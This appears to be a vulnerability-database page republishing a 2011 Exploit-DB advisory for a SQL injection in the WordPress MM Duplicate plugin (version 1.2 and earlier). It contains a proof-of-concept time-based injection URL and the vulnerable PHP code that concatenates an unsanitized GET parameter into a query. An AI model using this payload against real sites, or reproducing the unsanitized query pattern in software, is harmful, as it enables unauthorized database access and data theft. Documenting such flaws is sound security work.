WordPress MM Duplicate plugin

vendor:

MM Duplicate plugin

by:

Miroslav Stampar

CVSS

CRITICAL

SQL Injection

CWE

Product Name: MM Duplicate plugin

Affected Version From: <= 1.2

Affected Version To: <= 1.2

Patch Exists: YES

Related CWE:

CPE: a:wordpress:mm_duplicate:1.2

Metasploit:

Other Scripts:

Platforms Tested:

2011

WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability

The WordPress MM Duplicate plugin version 1.2 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by sending a crafted request to the 'duplicate' parameter in the 'index.php' file. This can lead to unauthorized access, data manipulation, or data leakage.

Mitigation:

Update to the latest version of the plugin. Sanitize user input before using it in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
class mm_duplicate_pages_posts
{
    ...
    function mm_duplicate_pages_posts()
    {
        ...
        add_action('init', array(&$this, 'dup'));
        ...        
    }

    function dup()
    {
        if($_GET['duplicate'])
        {
            $id = $_GET['post'];
            $dup = new mm_duplicate();
            ...
            $dup->duplicate_post_page($id);
        }
    }
...
}

class mm_duplicate
{
    function duplicate_post_page($id)
    {
        ...
        $select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";
        ...
    }
...
}